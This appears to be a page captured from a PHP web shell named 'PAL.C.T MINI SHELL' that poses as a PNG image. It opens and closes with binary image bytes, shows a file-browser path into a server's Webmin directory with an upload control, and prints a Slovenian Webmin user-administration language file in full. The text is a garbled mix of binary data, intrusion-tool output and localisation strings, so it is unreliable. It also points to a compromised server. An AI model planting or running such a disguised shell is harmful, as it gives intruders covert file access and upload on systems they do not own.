php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/useradmin/lang/
upload
files >> //usr/libexec/webmin/useradmin/lang/sl.auto

index_title=Uporabniki in skupine
index_pft=Vrsta baze podatkov: $1
index_pft0=Stari /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Redno /etc/passwd & /etc/shadow
index_pft3=Uporabniški ukazi
index_pft4=AIX
index_pft5=SCO /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_toomany=V vašem sistemu je preveč uporabnikov, ki bi jih lahko prikazali na eni strani.
index_find=Poiščite uporabnike, katerih
index_userreal=Uporabniško ime ali resnično ime
index_usheader=Uporabniško iskanje
index_gsheader=Skupinsko iskanje
index_fmode=Način ujemanja
index_ftext=Iskanje besedila
index_gtoomany=V vašem sistemu je preveč skupin, ki bi jih lahko prikazali na eni strani.
index_gfind=Poiščite skupine, katerih
index_ugroup=Primarna skupina
index_users=Lokalni uporabniki
index_gjump=Skoči na skupine ..
index_ujump=Skoči na uporabnike ..
index_notusers=V tem sistemu ne smete urejati nobenega uporabnika
index_notusers2=V tem sistemu ni bilo najdenih uporabnikov!
index_createuser=Ustvari novega uporabnika.
index_batch=Zaženite paketno datoteko.
index_export=Izvozi v paketno datoteko.
index_nomoreusers=Ne smete ustvarjati več uporabnikov
index_groups=Lokalne skupine
index_notgroups=V tem sistemu ne smete urejati nobene skupine
index_notgroups2=V tem sistemu ni bilo najdenih nobenih skupin!
index_creategroup=Ustvari novo skupino.
index_nomoregroups=Ustvarjate več skupin
index_logins=Prikaži prijave po
index_loginsall=Vsi uporabniki
index_loginsuser=Samo uporabnik
index_loginsdesc=Pokaži nedavne prijave nekaterih ali vseh uporabnikov Unixa, ki so se povezali prek SSH ali Usermin.
index_return=seznam uporabnikov in skupin
index_equals=enako
index_matches=ujema RE
index_nequals=ni enako
index_nmatches=se ne ujema z RE
index_contains=vsebuje
index_ncontains=ne vsebuje
index_lower=je manj kot
index_higher=je večja od
index_who=Prikaži prijavljene uporabnike
index_whodesc=Pokažite uporabnikom, ki so trenutno prijavljeni prek SSH ali Usermin.
index_mass=Izbriši izbrane uporabnike
index_mass2=Onemogoči izbrano
index_mass3=Omogoči izbrano
index_gmass=Izbrišite izbrane skupine

search_title=Rezultati iskanja
search_notfound=Uporabnikov ni bilo mogoče najti
search_found=Najdeno $1 ujemanje uporabnikov ..
search_gnotfound=Ujemljivih skupin ni bilo mogoče najti
search_gfound=Najdeno $1 ujemanje skupin ..

uedit_title=Urejanje uporabnika
uedit_title2=Ustvari uporabnika
uedit_details=Podrobnosti o uporabniku
user=Uporabniško ime
uid=Uporabniško ime
gid=Skupina
gidnum=ID skupine
real=Pravo ime
office=Pisarna
workph=Službeni telefon
homeph=Domači telefon
extra=Dodatne možnosti
pass=Geslo
none1=Vprašajte ob prvi prijavi
none2=Geslo ni potrebno
nologin=Prijava ni dovoljena
encrypted=Vnaprej šifrirano geslo
nochange=Pustite nespremenjene
clear=Običajno geslo
sshkey=Javni ključ SSH
home=Domači imenik
uedit_auto=Samodejno
uedit_manual=Imenik
shell=Školjka
lastlogin=Zadnja prijava
uedit_other=Drugo ..
uedit_passopts=Možnosti gesla
change2=Čas za spremembo gesla
expire2=Čas izteka računa
class=Prijavni razred
change=Geslo je spremenjeno
flags=Oznake računa
uedit_never=Nikoli
uedit_unknown=Neznano
expire=Rok uporabnosti
min=Najmanj dni
min_weeks=Najmanj tednov
max=Najdaljše dni
max_weeks=Najdaljše tedne
warn=Opozorilni dnevi
ask=Prosite za novo geslo ob naslednji prijavi?
inactive=Neaktivni dnevi
uedit_gmem=Članstvo v skupini
group=Primarna skupina
uedit_newg=Nova skupina
uedit_samg=Nova skupina z istim imenom kot uporabnik
uedit_oldg=Obstoječa skupina
uedit_2nd=Sekundarne skupine
onsave=Po shranjevanju ..
uedit_movehome=Ali je premaknjen domači imenik, če je spremenjen?
uedit_chuid=Ali spremenite uporabniški ID v datotekah?
uedit_chgid=Ali želite spremeniti ID skupine v datotekah?
uedit_allfiles=Vse datoteke
uedit_allg=Vse skupine
uedit_ing=V skupinah
chgid=Ali želite spremeniti ID skupine v datotekah?
uedit_oncreate=Ob ustvarjanju ..
uedit_makehome=Ustvari domači imenik?
uedit_copy=Kopirate predloge datotek v domači imenik?
uedit_logins=Prikaži prijave
uedit_mail=Preberite e-pošto
uedit_swit=Prijavite se v Usermin
uedit_ecreate=Ne morete ustvariti novih uporabnikov
uedit_egone=Izbrani uporabnik ne obstaja več!
uedit_eedit=Tega uporabnika ne morete urejati
uedit_admin=Samo root lahko spremeni geslo
uedit_admchg=Uporabnik mora izbrati novo geslo
uedit_nocheck=Ne preverjajte omejitev gesla
uedit_cothers=Ustvari uporabnika v drugih modulih?
uedit_mothers=Ali želite uporabnika spremeniti v drugih modulih?
uedit_grename=Preimenujte skupino, če se uporabniško ime spremeni?
uedit_dothers=Želite uporabnika izbrisati v drugih modulih?
uedit_forcechange=Prisiljena sprememba pri naslednji prijavi?
uedit_uid_def=Samodejno
uedit_uid_calc=Izračunano
uedit_disabled=Prijava je začasno onemogočena
uedit_sys=Privzeti sistem
uedit_clone=Uporabnik kloniranja

usave_err=Uporabnika ni bilo mogoče shraniti
usave_eedit=Tega uporabnika ne morete urejati
usave_ecreate=Ne morete ustvariti novih uporabnikov
usave_ebadname='$1' ni veljavno uporabniško ime
usave_elength=Uporabniško ime ne sme biti daljše od $1 črk
usave_ere=Uporabniško ime se ne ujema z regexp $1
usave_erename=Uporabnikom ni dovoljeno preimenovati
usave_einuse=uporabniško ime '$1' je že v uporabi
usave_einuse_a=uporabniško ime '$1' že uporablja vzdevek pošte
usave_einuseg=ime skupine '$1' je že v uporabi
usave_euid='$1' ni veljaven UID
usave_euuid=Ni vam dovoljeno spreminjati UID uporabnikov
usave_elowuid=UID mora biti večji ali enak $1
usave_ehiuid=UID mora biti manjši ali enak $1
usave_euidused=Uporabnik $1 že uporablja UID $2
usave_euidused2=UID je že v uporabi
usave_ealluid=Dodeljeni so vsi dovoljeni UID-ji
usave_ereal='$1' ni veljavno pravo ime
usave_ehome='$1' ni veljaven domači imenik
usave_esgname='$1' ni veljavno ime sekundarne skupine
usave_ehomepath=Ni vam dovoljeno ustvariti domačega imenika $1
usave_eshell='$1' ni dovoljena lupina
usave_egid='$1' ni veljavna skupina
usave_egcreate=Ni vam dovoljeno ustvarjati novih skupin za nove uporabnike
usave_eprimary=Tega uporabnika ne smete dodati v primarno skupino $1
usave_esecondary=Tega uporabnika ne smete dodati v sekundarno skupino $1
usave_eprimaryr=Tega uporabnika ne smete odstraniti iz primarne skupine $1
usave_esecondaryr=Tega uporabnika ne smete odstraniti iz sekundarne skupine $1
usave_emin='$1' ni veljavno minimalno obdobje spremembe
usave_emax='$1' ni veljavno največje obdobje spremembe
usave_ewarn='$1' ni veljavno opozorilo
usave_einactive='$1' ni veljavno neaktivno obdobje
usave_eexpire=Neveljaven datum poteka
usave_echange=Neveljaven datum spremembe
usave_eclass='$1' ni veljaven prijavni razred
usave_emove=Domačega imenika ni bilo mogoče premakniti : $1
usave_emkdir=Domačega imenika ni mogoče ustvariti : $1
usave_echown=Domačega imenika ni mogoče zadušiti : $1
usave_echmod=Domačega imenika chmod ni bilo mogoče : $1
usave_eoffice=Office ne more vsebovati: znaka
usave_eworkph=Delovni telefon ne more vsebovati: znaka
usave_ehomeph=Domači telefon ne more vsebovati: znaka
usave_edigestmod=Vaš sistem ima omogočena gesla $4, vendar modul Perl <tt>$3</tt> ni nameščen. Če želite prisiliti uporabo običajnih šifriranih gesel, prilagodite <a href='$1'>konfiguracijo modula</a> ali naj Webmin poskusi <a href='$2'>prenesti in namestiti</a> modul <tt>$3</tt> namesto vas.
usave_edigestcrypt=Vaš sistem ima omogočeno $4 gesel, vendar funkcija <tt>crypt</tt> ne podpira te oblike. Če želite vsiliti uporabo običajnih šifriranih gesel, prilagodite <a href='$1'>konfiguracijo modula</a>.
usave_emaking=Preden ukaz za posodobitev ni uspel : $1
usave_epasswd_min=Geslo mora biti dolgo vsaj $1 črk
usave_epasswd_re=Geslo se ne ujema z regexp $1
usave_epasswd_dict=Geslo je slovarska beseda
usave_epasswd_same=Geslo vsebuje ali je isto kot uporabniško ime
usave_epasswd_mindays=Geslo je bilo spremenjeno manj kot $1 pred dnevi
usave_epasswd_cmd=Ukaza za preverjanje gesla ni bilo mogoče
usave_eothers=Uporabnik je bil uspešno shranjen, vendar je prišlo do napake v drugem modulu : $1

gedit_title=Uredi skupino
gedit_title2=Ustvari skupino
gedit_details=Podrobnosti o skupini
gedit_group=Ime skupine
gedit_gid=ID skupine
gedit_desc=Opis
gedit_members=Člani
gedit_oneperline=(Ena v vrstici)
gedit_homedirs=Domači imeniki
gedit_allfiles=Vse datoteke
gedit_ecreate=Ne morete ustvariti novih skupin
gedit_egone=Izbrana skupina ne obstaja več!
gedit_eedit=Te skupine ne morete urediti
gedit_cothers=Ustvari skupino v drugih modulih?
gedit_mothers=Ali želite spremeniti skupino v drugih modulih?
gedit_gid_calc=Izračunano
gedit_gid_def=Samodejno
gedit_allu=Vsi uporabniki
gedit_selu=Uporabniki v skupini
gedit_pri=Člani primarne skupine
gedit_prinone=Noben uporabnik nima te skupine kot svojo glavno
gedit_clone=Skupina klonov

gsave_err=Skupine ni bilo mogoče shraniti
gsave_eedit=Te skupine ne morete urediti
gsave_ecreate=Ne morete ustvariti novih skupin
gsave_ebadname='$1' ni veljavno ime skupine
gsave_elength=Ime skupine ne sme biti daljše od črk $1
gsave_einuse=ime skupine '$1' je že v uporabi
gsave_egid='$1' ni veljaven GID
gsave_eggid=Spremenite GID skupin ne smete
gsave_eallgid=Dodeljeni so vsi dovoljeni GID-ji
gsave_eothers=Skupina je bila uspešno shranjena, vendar je prišlo do napake v drugem modulu : $1
usave_elowgid=GID mora biti večji ali enak $1
usave_ehigid=GID mora biti manjši ali enak $1
usave_egidused=Skupina $1 že uporablja GID $2
gsave_egidused2=GID je že v uporabi
usave_efromroot=Domačega imenika ne morete premakniti iz /
usave_etoroot=Domačega imenika ne morete premakniti v /

logins_title=Zabeležene prijave
logins_head=Zapisane prijave za $1
logins_from=Prijava od
logins_tty=TTY
logins_in=Prijava ob
logins_out=Odjava ob
logins_for=Za Za
logins_still=Še vedno ste prijavljeni
logins_none=Zapisi niso zabeleženi
logins_elist=Nimate dovoljenja za seznam prijav
logins_elistu=Nimate dovoljenja za seznam prijav za '$1'
logins_local=Lokalno

udel_title=Izbriši uporabnika
udel_err=Uporabnika ni bilo mogoče izbrisati
udel_enum=Neveljavna uporabniška številka
udel_euser=Tega uporabnika ne morete izbrisati
udel_ealready=Ta uporabnik je že izbrisan!
udel_eroot=Ne smete izbrisati sistemskih uporabnikov (tistih z UID, manjšim ali enakim 10).
udel_echanged=Datoteka z geslom se je spremenila. Vrnite se na seznam uporabnikov in ga ponovno izberite.
udel_other=Brisanje iz drugih modulov ..
udel_pass=Brisanje vnosa datoteke z geslom ..
udel_groups=Odstranjevanje iz skupin ..
udel_ugroupother=Brisanje skupine uporabnikov v drugih modulih.
udel_ugroup=Brisanje skupine uporabnikov ..
udel_home=Brisanje domačega imenika ..
udel_done=.. Končano
udel_failed=.. ni uspelo!  : $1
udel_sure=Ali ste prepričani, da želite izbrisati uporabnika $1? Domači imenik $2 vsebuje $3 datoteke
udel_sure2=Ali ste prepričani, da želite izbrisati uporabnika $1?
udel_del1=Izbriši uporabnika
udel_del2=Izbrišite uporabnika in domači imenik
udel_others=OPOZORILO! Domači imenik $1 vsebuje datoteke $2, ki so v lasti drugih uporabnikov.
udel_dothers=Želite uporabnika izbrisati v drugih modulih?
udel_root=Opozorilo! Če je korenski uporabnik izbrisan, v prihodnosti morda ne boste mogli upravljati sistema.

gdel_title=Izbriši skupino
gdel_err=Skupine ni bilo mogoče izbrisati
gdel_eroot=Ne smete izbrisati sistemskih skupin (tiste z GID manjšim ali enakim 10).
gdel_enum=Neveljavna številka skupine
gdel_egroup=Te skupine ne morete izbrisati
gdel_ealready=Ta skupina je že izbrisana!
gdel_group=Brisanje vnosa datoteke v skupini ..
gdel_done=.. Končano
gdel_eprimary=Te skupine ni mogoče izbrisati, saj je to glavna skupina uporabnika $1.
gdel_sure=Ali ste prepričani, da želite izbrisati skupino $1?
gdel_del=Izbriši skupino
gdel_dothers=Želite izbrisati skupino v drugih modulih?
gdel_other=Brisanje iz drugih modulov ..

many_title=Ustvari več uporabnikov
many_desc=Ta obrazec omogoča ustvarjanje več uporabnikov hkrati iz naložene ali lokalne besedilne datoteke. Vsaka vrstica v datoteki poda enega uporabnika v naslednji obliki:
many_desc2=username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire
many_desc1=username:passwd:uid:gid:realname:homedir:shell:class:change:expire
many_desc0=username:passwd:uid:gid:realname:homedir:shell
many_descafter=Če polje <tt>uid</tt> ostane prazno, bo Webmin samodejno dodelil UID. Če je polje <tt>gid</tt> prazno, bo Webmin ustvaril novo skupino z istim imenom kot uporabnik. Polja <tt>uporabnika</tt>, <tt>homedir</tt> in <tt>lupina</tt> morajo biti na voljo za vsakega uporabnika - vsa ostala polja so lahko prazna.
many_descpass=Če je polje <tt>passwd</tt> prazno, uporabniku ne bo dodeljeno nobeno geslo. Če vsebuje samo črko <tt>x</tt>, bo račun zaklenjen. V nasprotnem primeru bo besedilo v polju sprejeto kot geslo jasnega besedila in šifrirano.
many_file=Naložena nova uporabniška datoteka
many_local=Datoteka lokalnih uporabnikov
many_makehome=Ustvarite domače imenike?
many_copy=Kopirate datoteke v domače imenike?
many_upload=Ustvari uporabnike
many_elocal=Lokalne datoteke ni mogoče najti
many_efile=Za nalaganje ni izbrana nobena datoteka
many_elen=Vrstica $1 ne vsebuje polj $2
many_eline=Manjka uporabniško ime v vrstici $1
many_euser=Podvojeno uporabniško ime v vrstici $1 : $2 
many_egid=Neveljaven GID v vrstici $1 : $2 
many_ehome=Neveljaven domači imenik v vrstici $1 : $2 
many_eshell=Neveljavna lupina v vrstici $1 : $2 
many_emkdir=Domačega imenika $1 ni bilo mogoče ustvariti : $2
many_egtaken=Ime skupine, ki je že v vrstici $1 : $2 
many_ok=Ustvarjen uporabnik $1

acl_uedit=Uporabniki Unixa, ki jih je mogoče urejati
acl_uedit_all=Vsi uporabniki
acl_uedit_none=Ni uporabnikov
acl_uedit_only=Samo uporabniki
acl_uedit_except=Vsi razen uporabnikov
acl_uedit_uid=Uporabniki z UID-ji v dosegu
acl_uedit_gid=Uporabniki z GID-ji v dosegu
acl_uedit_group=Uporabniki s skupinami
acl_uedit_sec=Vključite sekundarne skupine?
acl_uedit_this=Samo ta uporabnik
acl_uedit_re=Uporabniki, ki se ujemajo z regexp
acl_ucreate=Ali lahko ustvarite nove uporabnike?
acl_uid=UID-ji za nove ali spremenjene uporabnike
acl_umultiple=Več uporabnikov lahko ima isti UID
acl_uuid=UID obstoječih uporabnikov se lahko spremeni
acl_ugroups=Dovoljene skupine za nove ali spremenjene uporabnike
acl_all=Vse
acl_shells=Dovoljene lupine za nove ali spremenjene uporabnike
acl_any=Kaj
acl_listed=Seznami ..
acl_home=Domači imeniki morajo biti pod
acl_delhome=Ali lahko izbrišete domači imenik?
acl_option=Neobvezno
acl_always=Nenehno
acl_never=Nikoli
acl_autohome=Domači imenik je vedno isti kot uporabniško ime
acl_gedit=Unix skupine, ki jih je mogoče urejati
acl_gedit_all=Vse skupine
acl_gedit_none=Ni skupin
acl_gedit_only=Samo skupine
acl_gedit_except=Vse razen skupin
acl_gedit_gid=Skupine z GID-ji v dosegu
acl_gcreate=Ali lahko ustvarite nove skupine?
acl_gnew=Samo za nove uporabnike
acl_gid=GID-ji za nove ali spremenjene skupine
acl_gmultiple=Več kot ena skupina ima isti GID
acl_ggid=GID-ji obstoječih skupin se lahko spremenijo
acl_logins=Lahko prijavo prikaže
acl_lnone=Ni uporabnikov
acl_lall=Vsi uporabniki
acl_epeopt=Ali lahko urejate možnosti poteka gesla?
acl_batch=Ali si lahko ogledate obrazce paketne datoteke?
acl_export=Ali lahko izvozite paketno datoteko?
acl_export1=Da, vendar samo v brskalniku
acl_egp=Ali lahko urejate gesla skupine?
acl_saveopts=Dovoljeno ob možnostih shranjevanja
acl_on=Vedno vklopljen
acl_off=Vedno izklopljen
acl_canedit=Lahko izberem
acl_autouid=Ali lahko UID številko samodejno poveča?
acl_autogid=Ali lahko GID številka samodejno poveča?
acl_calcuid=Ali lahko izračunamo UID številko?
acl_calcgid=Ali lahko izračunamo GID številko?
acl_useruid=Ali lahko vnesete UID številko?
acl_usergid=Ali lahko vnesete GID številko?
acl_udelete=Ali lahko uporabnike izbrišete?
acl_gdelete=Ali lahko izbrišete skupine?
acl_urename=Ali lahko preimenujete uporabnike?
acl_grename=Ali lahko skupine preimenujete?

log_urename=Preimenovan uporabnik $1 v $2
log_umodify=Spremenjen uporabnik $1
log_ucreate=Ustvarjen uporabnik $1
log_udelete=Izbrisani uporabnik $1
log_udeletehome=Izbrisani uporabnik $1 in imenik $2
log_gmodify=Spremenjena skupina $1
log_gcreate=Ustvarjena skupina $1
log_gdelete=Izbrisana skupina $1
log_batch=Izvedena paketna datoteka $1
log_batch_l=Izvedena paketna datoteka $1 ($2 ustvarjena, $3 spremenjena, $4 izbrisano)
log_ubatch=Izvedena naložena paketna datoteka
log_ubatch_l=Izvršena naložena paketna datoteka ($1 ustvarjen, $2 spremenjen, $3 izbrisan)
log_gbatch=Izvedena skupinska datoteka datoteke $1
log_gbatch_l=Izvedena skupinska zbirka datotek $1 ($2 ustvarjena, $3 spremenjena, $4 izbrisano)
log_ugbatch=Izvedena naložena skupinska datoteka
log_ugbatch_l=Izvedena naložena skupinska datoteka datoteke ($1 ustvarjen, $2 spremenjen, $3 izbrisan)
log_delete_users=Izbrisani $1 uporabniki
log_delete_groups=Izbrisane skupine $1

batch_title=Izvedite paketno datoteko
batch_ecannot=Ne morete uporabiti obrazca paketne datoteke
batch_desc=Ta obrazec omogoča ustvarjanje, spreminjanje ali brisanje več uporabnikov hkrati iz naložene ali lokalne besedilne datoteke. Vsaka vrstica v datoteki poda eno dejanje, odvisno od prvega polja. Oblike vrstic so :
batch_desc6=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc5=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max<p><b>delete</b>:username
batch_desc4=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:expire:flags<p><b>delete</b>:username
batch_desc3=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_desc2=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:min:max:warn:inactive:expire<p><b>delete</b>:username
batch_desc1=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell:class:change:expire<p><b>delete</b>:username
batch_desc0=<b>create</b>:username:passwd:uid:gid:realname:homedir:shell<p><b>modify</b>:oldusername:username:passwd:uid:gid:realname:homedir:shell<p><b>delete</b>:username
batch_descafter=V <b>ustvari</b> vrsticah, če polje <tt>uid</tt> ostane prazno, bo Webmin samodejno dodelil UID. Če je polje <tt>gid</tt> prazno, bo Webmin ustvaril novo skupino z istim imenom kot uporabnik. Polja <tt>uporabnika</tt>, <tt>homedir</tt> in <tt>lupina</tt> morajo biti na voljo za vsakega uporabnika - vsa ostala polja so lahko prazna. Če je polje <tt>passwd</tt> prazno, uporabniku ne bo dodeljeno nobeno geslo. Če vsebuje samo črko <tt>x</tt>, bo račun zaklenjen. V nasprotnem primeru bo besedilo v polju sprejeto kot geslo jasnega besedila in šifrirano.
batch_descafter2=V vrsticah <b>spremeni</b> bo prazno polje pomenilo, da ustreznega uporabniškega atributa ni treba spreminjati.
batch_source=Paket podatkov
batch_source0=Naloži datoteko
batch_source1=Datoteka na strežniku
batch_source2=Besedilo v polju
batch_others=Ali lahko ustvarite, spremenite ali izbrišete uporabnike v drugih modulih?
batch_batch=Uporabniško datoteko posodobi šele, ko je paket končan?
batch_makehome=Ali ustvarite domače imenike za ustvarjene uporabnike?
batch_copy=Kopirate datoteke v domače imenike ustvarjenih uporabnikov?
batch_movehome=Preimenujete domače imenike spremenjenih uporabnikov?
batch_chuid=Ali želite spremeniti UID v datotekah spremenjenih uporabnikov?
batch_chgid=Ali želite spremeniti GID v datotekah spremenjenih uporabnikov?
batch_delhome=Želite izbrisati domače imenike izbrisanih uporabnikov?
batch_upload=Izvedite serijo
batch_elocal=Lokalne datoteke ni mogoče najti
batch_efile=Za nalaganje ni izbrana nobena datoteka
batch_etext=Besedilno datoteko datoteke ni vneseno
batch_elen=Vrstica $1 ne vsebuje polj $2
batch_eline=Manjka uporabniško ime v vrstici $1
batch_euser=Podvojeno uporabniško ime v vrstici $1 : $2 
batch_echeck=Neveljavno uporabniško ime v vrstici $1 : $2 
batch_egid=Neveljaven GID v vrstici $1 : $2 
batch_ehome=Neveljaven domači imenik v vrstici $1 : $2 
batch_eshell=Neveljavna lupina v vrstici $1 : $2 
batch_emkdir=Domačega imenika $1 ni bilo mogoče ustvariti : $2
batch_egtaken=Ime skupine, ki je že v vrstici $1 : $2 
batch_eaction=Neveljavno dejanje v vrstici $1 : $2 
batch_enouser=Uporabnik ne obstaja v vrstici $1 : $2 
batch_erename=Uporabnikom ni dovoljeno preimenovati v vrstici $1 : $2 
batch_emove=Premik domačega imenika v vrstici $1 ni uspel : $2
batch_created=Ustvarjen uporabnik $1
batch_deleted=Izbrisani uporabnik $1
batch_modified=Spremenjen uporabnik $1
batch_ecaccess=Uporabnika ni dovoljeno ustvarjati v vrstici $1 : $2 
batch_emaccess=Uporabniku ni dovoljeno spreminjati v vrstici $1 : $2 
batch_edaccess=Uporabnika ni dovoljeno izbrisati v vrstici $1 : $2 
batch_crypt=Gesla so že šifrirana?
batch_return=šaržna oblika
batch_eother=Toda prišlo je do napake v drugem modulu : $1
batch_emin=Neveljavni minimalni dnevi v vrstici $1 : $2 
batch_emax=Neveljaven največ dni v vrstici $1 : $2 
batch_ewarn=Neveljavni dnevi opozorila v vrstici $1 : $2 
batch_einactive=Neveljavni dnevi v vrstici $1 : $2 
batch_eexpire=Neveljaven dan poteka v vrstici $1 : $2 
batch_echange=Neveljaven dan za spremembo gesla v vrstici $1 : $2 
batch_instr=Navodila in format serije
batch_header=Možnosti paketnega ustvarjanja, posodabljanja in brisanja uporabnikov

who_title=Uporabniki, ki so prijavljeni
who_user=Uporabnik Unixa
who_tty=TTY
who_when=Prijavite se v
who_from=Prijavljeni s
who_none=Trenutno ni prijavljenih nobenih uporabnikov.

export_title=Izvozi paketno datoteko
export_desc=Ta obrazec vam omogoča, da ustvarite paketno datoteko, ki vsebuje nekaj ali vseh uporabnikov, ki so na voljo v sistemu. Datoteko je mogoče uporabiti na strani Execute Batch File v drugem sistemu za ponovno ustvarjanje izvoženih uporabnikov ob predpostavki, da uporablja izbrano obliko paketne datoteke.
export_header=Možnosti paketnega izvoza uporabnikov
export_to=Namen paketne datoteke
export_show=Prikaz v brskalniku
export_file=Napišite v datoteko
export_ok=Izvozi zdaj
export_err=Izvoz paketne datoteke ni uspel
export_efile=Manjka datoteka za pisanje
export_efile2=Datoteka, v katero želite pisati, ni v veljavnem imeniku
export_egroup=Skupina $1 ne obstaja
export_eopen=Odpiranje izhodne datoteke ni uspelo : $1
export_euid=Neveljaven prvi UID v območju
export_euid2=Neveljaven drugi UID v območju
export_egid=Neveljaven prvi GID v dosegu
export_egid2=Neveljaven drugi GID v dosegu
export_done=Uporabniki $1 so bili uspešno izvoženi v datoteko $2 ($3).
export_pft=Oblika paketne datoteke
export_who=Uporabniki za izvoz
export_ecannot=Izvoženih uporabnikov ni dovoljeno

gexport_title=Izvozi paketno datoteko skupin
gexport_desc=Ta obrazec vam omogoča, da ustvarite paketno datoteko, ki vsebuje nekatere ali vse razpoložljive skupine v sistemu. Datoteko je mogoče uporabiti na strani Execute Group Batch File v drugem sistemu za ponovno ustvarjanje izvoženih skupin.
gexport_header=Možnosti izvoza paketne skupine
gexport_who=Skupine za izvoz
gexport_ecannot=Izvoljenih skupin ne smete izvažati
gexport_err=Izvoz paketne datoteke skupine ni uspel
gexport_egid=Neveljaven prvi GID v dosegu
gexport_egid2=Neveljaven drugi GID v dosegu

pft_0=Klasična datoteka <tt>passwd</tt>
pft_1=BSD <tt>master.passwd</tt> datoteka
pft_2=Standardne datoteke <tt>passwd</tt> in <tt>senca</tt>
pft_3=Datoteka Unixware <tt>passwd</tt>
pft_4=Datoteke AIX <tt>passwd</tt> in <tt>varnost</tt>
pft_5=OpenServer <tt>passwd</tt> in kratke <tt>senca</tt> datoteke
pft_6=Baza podatkov MacOS NetInfo

umass_title=Izbriši uporabnike
umass_err=Uporabnikov ni bilo mogoče izbrisati
umass_sure=Ali ste prepričani, da želite izbrisati izbrane uporabnike $1? Njihovi domači imeniki vsebujejo $2 datoteke.
umass_others=OPOZORILO! Nekateri domači imeniki vsebujejo datoteke $1, ki so v lasti drugih uporabnikov.
umass_sure2=Ali ste prepričani, da želite izbrisati izbrane uporabnike $1?
umass_euser=Uporabnika $1 ne smete izbrisati
umass_enone=Izbran ni noben uporabnik
umass_del1=Izbriši uporabnike
umass_del2=Izbrišite uporabnike in domače imenike
umass_eroot=Ne smete izbrisati sistemskih uporabnikov (tistih z UID, manjšim ali enakim 10).
umass_doing=Brisanje uporabnika $1.

gmass_title=Izbriši skupine
gmass_err=Brisanja skupin ni bilo mogoče
gmass_sure=Ali ste prepričani, da želite izbrisati izbrane skupine $1?
gmass_euser=Ni vam dovoljeno izbrisati skupine $1
gmass_enone=Nobena skupina ni izbrana
gmass_del=Izbriši skupine
gmass_eroot=Ne smete izbrisati sistemskih skupin (tiste z GID manjšim ali enakim 10).
gmass_doing=Brisanje skupine $1.
gmass_eprimary=Skupine $1 ni mogoče izbrisati, saj je to glavna skupina uporabnika $2.

dmass_title=Onemogoči uporabnike
dmass_sure=Ali ste prepričani, da želite onemogočiti $1 izbrane uporabnike? Pozneje jih je mogoče znova omogočiti brez izgube gesla ali podatkov.
dmass_dis=Onemogoči uporabnike
dmass_pass=Začasno zaklepanje gesla ..
dmass_doing=Onemogočanje uporabnika $1.
dmass_already=.. že onemogočeno!

emass_title=Omogoči uporabnike
emass_pass=Odklepanje gesla ..
emass_doing=Omogočanje uporabniku $1.
emass_already=.. že omogočeno!

gbatch_title=Izvrši skupinsko datotečno datoteko
gbatch_ecannot=Ne morete uporabiti obrazca skupinske datoteke
gbatch_desc=Ta obrazec omogoča ustvarjanje, spreminjanje ali brisanje več skupin hkrati iz naložene ali lokalne besedilne datoteke. Vsaka vrstica v datoteki poda eno dejanje, odvisno od prvega polja. Oblike vrstic so :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=V <b>ustvari</b> vrsticah, če je polje <tt>gid</tt> prazno, Webmin samodejno dodeli GID.
gbatch_descafter2=V vrsticah <b>spremeni</b> bo prazno polje pomenilo, da ustreznega atributa skupine ni treba spremeniti.
gbatch_header=Možnosti ustvarjanja, posodabljanja in brisanja paketne skupine
gbatch_others=Ali lahko ustvarite, spremenite ali izbrišete skupine v drugih modulih?
gbatch_batch=Posodobi datoteko skupin samo, ko je serija končana?
gbatch_chgid=Ali želite spremeniti GID v datotekah spremenjenih skupin?
gbatch_ecaccess=Ni vam dovoljeno ustvariti skupine v vrstici $1 : $2 
gbatch_emaccess=Ni dovoljeno spreminjati skupine v vrstici $1 : $2 
gbatch_edaccess=Ni dovoljeno izbrisati skupine v vrstici $1 : $2 
gbatch_created=Ustvarjena skupina $1
gbatch_deleted=Izbrisana skupina $1
gbatch_modified=Spremenjena skupina $1
gbatch_enogroup=Skupina ne obstaja v vrstici $1 : $2 
gbatch_eprimary=Skupine v vrstici $1 ni mogoče izbrisati, saj je to glavna skupina uporabnika $2.
gbatch_egroup=Podvojeno ime skupine v vrstici $1 : $2 
gbatch_egroupname=Neveljavno ime skupine v vrstici $1
gbatch_erename=Ni vam dovoljeno preimenovati skupin v vrstici $1 : $2 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`